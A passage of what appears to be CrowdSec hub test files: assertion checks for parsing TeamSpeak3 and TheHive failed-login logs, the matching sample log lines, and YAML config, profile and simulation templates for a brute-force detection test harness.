11:28:04.596079|INFO |Query | |query from 6 127.0.0.1:43764 attempted to login with account \"bui\" and failed!" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][2].Evt.Parsed["service"] == "Query " results["s01-parse"]["crowdsecurity/teamspeak3-logs"][2].Evt.Parsed["src_port"] == "43764" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][2].Evt.Parsed["timestamp"] == "2022-12-29 11:28:04.596079" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][2].Evt.Parsed["chan"] == "6" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][2].Evt.Parsed["program"] == "ts3" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][2].Evt.Parsed["src_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][2].Evt.Meta["datasource_path"] == "teamspeak-bf.log" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][2].Evt.Meta["log_type"] == "ts3_fail_auth" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][2].Evt.Meta["service"] == "teamspeak3" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][2].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][3].Success == true results["s01-parse"]["crowdsecurity/teamspeak3-logs"][3].Evt.Parsed["src_port"] == "43764" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][3].Evt.Parsed["empty"] == " " results["s01-parse"]["crowdsecurity/teamspeak3-logs"][3].Evt.Parsed["level"] == "INFO " results["s01-parse"]["crowdsecurity/teamspeak3-logs"][3].Evt.Parsed["login"] == "bui" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][3].Evt.Parsed["message"] == "2022-12-29 11:28:04.596079|INFO |Query | |query from 6 127.0.0.1:43764 attempted to login with account \"bui\" and failed!" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][3].Evt.Parsed["program"] == "ts3" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][3].Evt.Parsed["service"] == "Query " results["s01-parse"]["crowdsecurity/teamspeak3-logs"][3].Evt.Parsed["src_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][3].Evt.Parsed["timestamp"] == "2022-12-29 11:28:04.596079" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][3].Evt.Parsed["chan"] == "6" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][3].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][3].Evt.Meta["datasource_path"] == "teamspeak-bf.log" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][3].Evt.Meta["log_type"] == "ts3_fail_auth" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][3].Evt.Meta["service"] == "teamspeak3" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][4].Success == true results["s01-parse"]["crowdsecurity/teamspeak3-logs"][4].Evt.Parsed["login"] == "bui" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][4].Evt.Parsed["message"] == "2022-12-29 11:28:04.596079|INFO |Query | |query from 6 127.0.0.1:43764 attempted to login with account \"bui\" and failed!" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][4].Evt.Parsed["program"] == "ts3" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][4].Evt.Parsed["src_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][4].Evt.Parsed["timestamp"] == "2022-12-29 11:28:04.596079" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][4].Evt.Parsed["empty"] == " " results["s01-parse"]["crowdsecurity/teamspeak3-logs"][4].Evt.Parsed["level"] == "INFO " results["s01-parse"]["crowdsecurity/teamspeak3-logs"][4].Evt.Parsed["service"] == "Query " results["s01-parse"]["crowdsecurity/teamspeak3-logs"][4].Evt.Parsed["src_port"] == "43764" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][4].Evt.Parsed["chan"] == "6" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][4].Evt.Meta["datasource_path"] == "teamspeak-bf.log" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][4].Evt.Meta["log_type"] == "ts3_fail_auth" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][4].Evt.Meta["service"] == "teamspeak3" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][4].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][5].Success == true results["s01-parse"]["crowdsecurity/teamspeak3-logs"][5].Evt.Parsed["src_ip"] == "fd00:feed:dead:beef:405f:26ff:fe06:d4b" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][5].Evt.Parsed["timestamp"] == "2023-01-13 00:44:27.543333" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][5].Evt.Parsed["chan"] == "101" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][5].Evt.Parsed["service"] == "Query " results["s01-parse"]["crowdsecurity/teamspeak3-logs"][5].Evt.Parsed["login"] == "harry" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][5].Evt.Parsed["message"] == "2023-01-13 00:44:27.543333|INFO |Query | |query from 101 [fd00:feed:dead:beef:405f:26ff:fe06:d4b]:34232 attempted to login with account \"harry\" and failed!" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][5].Evt.Parsed["program"] == "ts3" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][5].Evt.Parsed["src_port"] == "34232" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][5].Evt.Parsed["empty"] == " " results["s01-parse"]["crowdsecurity/teamspeak3-logs"][5].Evt.Parsed["level"] == "INFO " results["s01-parse"]["crowdsecurity/teamspeak3-logs"][5].Evt.Meta["datasource_path"] == "teamspeak-bf.log" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][5].Evt.Meta["log_type"] == "ts3_fail_auth" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][5].Evt.Meta["service"] == "teamspeak3" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][5].Evt.Meta["source_ip"] == "fd00:feed:dead:beef:405f:26ff:fe06:d4b" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 6 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["chan"] == "11" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["login"] == "toto" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "2022-12-29 11:39:26.009756|INFO |Query | |query from 11 127.0.0.1:48426 attempted to login with account \"toto\" and failed!" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["service"] == "Query " results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["src_port"] == "48426" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "2022-12-29 11:39:26.009756" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["empty"] == " " results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["level"] == "INFO " results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "ts3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["src_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "teamspeak-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "ts3_fail_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "teamspeak3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-12-29T11:39:26.009756Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-12-29T11:39:26.009756Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["chan"] == "6" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["level"] == "INFO " results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["service"] == "Query " results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["src_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp"] == "2022-12-29 11:28:04.596079" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["empty"] == " " results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["login"] == "bui" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "2022-12-29 11:28:04.596079|INFO |Query | |query from 6 127.0.0.1:43764 attempted to login with account \"bui\" and failed!" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "ts3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["src_port"] == "43764" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "teamspeak3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-12-29T11:28:04.596079Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "teamspeak-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "ts3_fail_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-12-29T11:28:04.596079Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["empty"] == " " results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["level"] == "INFO " results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "2022-12-29 11:28:04.596079|INFO |Query | |query from 6 127.0.0.1:43764 attempted to login with account \"bui\" and failed!" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["timestamp"] == "2022-12-29 11:28:04.596079" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["src_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["src_port"] == "43764" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["chan"] == "6" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["login"] == "bui" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "ts3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["service"] == "Query " results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "teamspeak-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "ts3_fail_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "teamspeak3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2022-12-29T11:28:04.596079Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2022-12-29T11:28:04.596079Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["chan"] == "6" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["empty"] == " " results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["login"] == "bui" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["service"] == "Query " results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["src_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["level"] == "INFO " results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "2022-12-29 11:28:04.596079|INFO |Query | |query from 6 127.0.0.1:43764 attempted to login with account \"bui\" and failed!" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "ts3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["src_port"] == "43764" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["timestamp"] == "2022-12-29 11:28:04.596079" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["service"] == "teamspeak3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"] == "2022-12-29T11:28:04.596079Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "teamspeak-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "ts3_fail_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"] == "2022-12-29T11:28:04.596079Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["chan"] == "6" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["message"] == "2022-12-29 11:28:04.596079|INFO |Query | |query from 6 127.0.0.1:43764 attempted to login with account \"bui\" and failed!" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["service"] == "Query " results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["timestamp"] == "2022-12-29 11:28:04.596079" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["empty"] == " " results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["level"] == "INFO " results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["login"] == "bui" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["program"] == "ts3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["src_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["src_port"] == "43764" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_path"] == "teamspeak-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["log_type"] == "ts3_fail_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["service"] == "teamspeak3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["timestamp"] == "2022-12-29T11:28:04.596079Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Enriched["MarshaledTime"] == "2022-12-29T11:28:04.596079Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["level"] == "INFO " results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["login"] == "harry" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["service"] == "Query " results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["empty"] == " " results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["message"] == "2023-01-13 00:44:27.543333|INFO |Query | |query from 101 [fd00:feed:dead:beef:405f:26ff:fe06:d4b]:34232 attempted to login with account \"harry\" and failed!" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["program"] == "ts3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["src_ip"] == "fd00:feed:dead:beef:405f:26ff:fe06:d4b" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["src_port"] == "34232" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["timestamp"] == "2023-01-13 00:44:27.543333" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["chan"] == "101" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_path"] == "teamspeak-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["log_type"] == "ts3_fail_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["service"] == "teamspeak3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["source_ip"] == "fd00:feed:dead:beef:405f:26ff:fe06:d4b" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["timestamp"] == "2023-01-13T00:44:27.543333Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Enriched["MarshaledTime"] == "2023-01-13T00:44:27.543333Z" len(results["success"][""]) == 0 hub1/.tests/teamspeak-bf/scenario.assert000066400000000000000000000035161437532772500205460ustar00rootroot00000000000000len(results) == 1 "127.0.0.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["127.0.0.1"].IP == "127.0.0.1" results[0].Overflow.Sources["127.0.0.1"].Range == "" results[0].Overflow.Sources["127.0.0.1"].GetScope() == "Ip" results[0].Overflow.Sources["127.0.0.1"].GetValue() == "127.0.0.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "teamspeak-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "ts3_fail_auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "teamspeak3" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-12-29T11:39:26.009756Z" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "teamspeak-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "ts3_fail_auth" results[0].Overflow.Alert.Events[1].GetMeta("service") == "teamspeak3" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-12-29T11:28:04.596079Z" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "teamspeak-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "ts3_fail_auth" results[0].Overflow.Alert.Events[2].GetMeta("service") == "teamspeak3" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-12-29T11:28:04.596079Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/teamspeak3-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 3 hub1/.tests/teamspeak-bf/teamspeak-bf.log000066400000000000000000000015101437532772500205520ustar00rootroot000000000000002022-12-29 11:39:26.009756|INFO |Query | |query from 11 127.0.0.1:48426 attempted to login with account "toto" and failed! 2022-12-29 11:28:04.596079|INFO |Query | |query from 6 127.0.0.1:43764 attempted to login with account "bui" and failed! 2022-12-29 11:28:04.596079|INFO |Query | |query from 6 127.0.0.1:43764 attempted to login with account "bui" and failed! 2022-12-29 11:28:04.596079|INFO |Query | |query from 6 127.0.0.1:43764 attempted to login with account "bui" and failed! 2022-12-29 11:28:04.596079|INFO |Query | |query from 6 127.0.0.1:43764 attempted to login with account "bui" and failed! 2023-01-13 00:44:27.543333|INFO |Query | |query from 101 [fd00:feed:dead:beef:405f:26ff:fe06:d4b]:34232 attempted to login with account "harry" and failed!hub1/.tests/template_config.yaml000066400000000000000000000021021437532772500171730ustar00rootroot00000000000000common: daemonize: false pid_dir: ./runtime log_media: file log_level: info log_dir: ./runtime/log/ working_dir: . config_paths: config_dir: ./runtime/ data_dir: ./runtime/data/ simulation_path: ./runtime/simulation.yaml hub_dir: ./runtime/hub/ index_path: ./runtime/hub/.index.json notification_dir: ./runtime/notifications/ plugin_dir: /usr/local/lib/crowdsec/plugins/ crowdsec_service: parser_routines: 1 cscli: output: human db_config: log_level: info type: sqlite db_path: ./runtime/data/crowdsec.db #user: #password: #db_name: #host: #port: flush: max_items: 5000 max_age: 7d plugin_config: user: nobody # plugin process would be ran on behalf of this user group: nogroup # plugin process would be ran on behalf of this group api: client: insecure_skip_verify: false credentials_path: ./runtime/local_api_credentials.yaml server: log_level: info listen_uri: 127.0.0.1:8181 profiles_path: ./runtime/profiles.yaml prometheus: enabled: true level: full listen_addr: 127.0.0.1 listen_port: 6060 hub1/.tests/template_profiles.yaml000066400000000000000000000010131437532772500175510ustar00rootroot00000000000000name: default_ip_remediation #debug: true filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h # notifications: # - slack_default # Set the webhook in /etc/crowdsec/notifications/slack.yaml before enabling this. # - splunk_default # Set the splunk url and token in /etc/crowdsec/notifications/splunk.yaml before enabling this. # - http_default # Set the required http parameters in /etc/crowdsec/notifications/http.yaml before enabling this. on_success: break hub1/.tests/template_simulation.yaml000066400000000000000000000000711437532772500201150ustar00rootroot00000000000000simulation: off # exclusions: # - crowdsecurity/ssh-bf hub1/.tests/thehive-bf/000077500000000000000000000000001437532772500151755ustar00rootroot00000000000000hub1/.tests/thehive-bf/config.yaml000066400000000000000000000004501437532772500173250ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/thehive-logs.yaml scenarios: - ./scenarios/crowdsecurity/thehive-bf.yaml postoverflows: - "" log_file: thehive-bf.log log_type: thehive labels: {} ignore_parsers: false override_statics: [] hub1/.tests/thehive-bf/parser.assert000066400000000000000000000341041437532772500177160ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 6 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1741f|2989d0704d3c364c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "thehive" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "thehive-bf.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "thehive" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "thehive-bf.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "thehive" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "thehive-bf.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "thehive" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "thehive-bf.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][4].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["program"] == "thehive" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_path"] == "thehive-bf.log" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][5].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["program"] == "thehive" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_path"] == "thehive-bf.log" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 6 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == false len(results["s01-parse"]["crowdsecurity/thehive-logs"]) == 6 results["s01-parse"]["crowdsecurity/thehive-logs"][0].Success == true results["s01-parse"]["crowdsecurity/thehive-logs"][0].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1741f|2989d0704d3c364c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s01-parse"]["crowdsecurity/thehive-logs"][0].Evt.Parsed["program"] == "thehive" results["s01-parse"]["crowdsecurity/thehive-logs"][0].Evt.Parsed["source_ip"] == "172.17.0.2" results["s01-parse"]["crowdsecurity/thehive-logs"][0].Evt.Meta["datasource_path"] == "thehive-bf.log" results["s01-parse"]["crowdsecurity/thehive-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/thehive-logs"][0].Evt.Meta["log_type"] == "thehive_failed_auth" results["s01-parse"]["crowdsecurity/thehive-logs"][0].Evt.Meta["source_ip"] == "172.17.0.2" results["s01-parse"]["crowdsecurity/thehive-logs"][1].Success == true results["s01-parse"]["crowdsecurity/thehive-logs"][1].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s01-parse"]["crowdsecurity/thehive-logs"][1].Evt.Parsed["program"] == "thehive" results["s01-parse"]["crowdsecurity/thehive-logs"][1].Evt.Parsed["source_ip"] == "172.17.0.2" results["s01-parse"]["crowdsecurity/thehive-logs"][1].Evt.Meta["datasource_path"] == "thehive-bf.log" results["s01-parse"]["crowdsecurity/thehive-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/thehive-logs"][1].Evt.Meta["log_type"] == "thehive_failed_auth" results["s01-parse"]["crowdsecurity/thehive-logs"][1].Evt.Meta["source_ip"] == "172.17.0.2" results["s01-parse"]["crowdsecurity/thehive-logs"][2].Success == true results["s01-parse"]["crowdsecurity/thehive-logs"][2].Evt.Parsed["message"] == 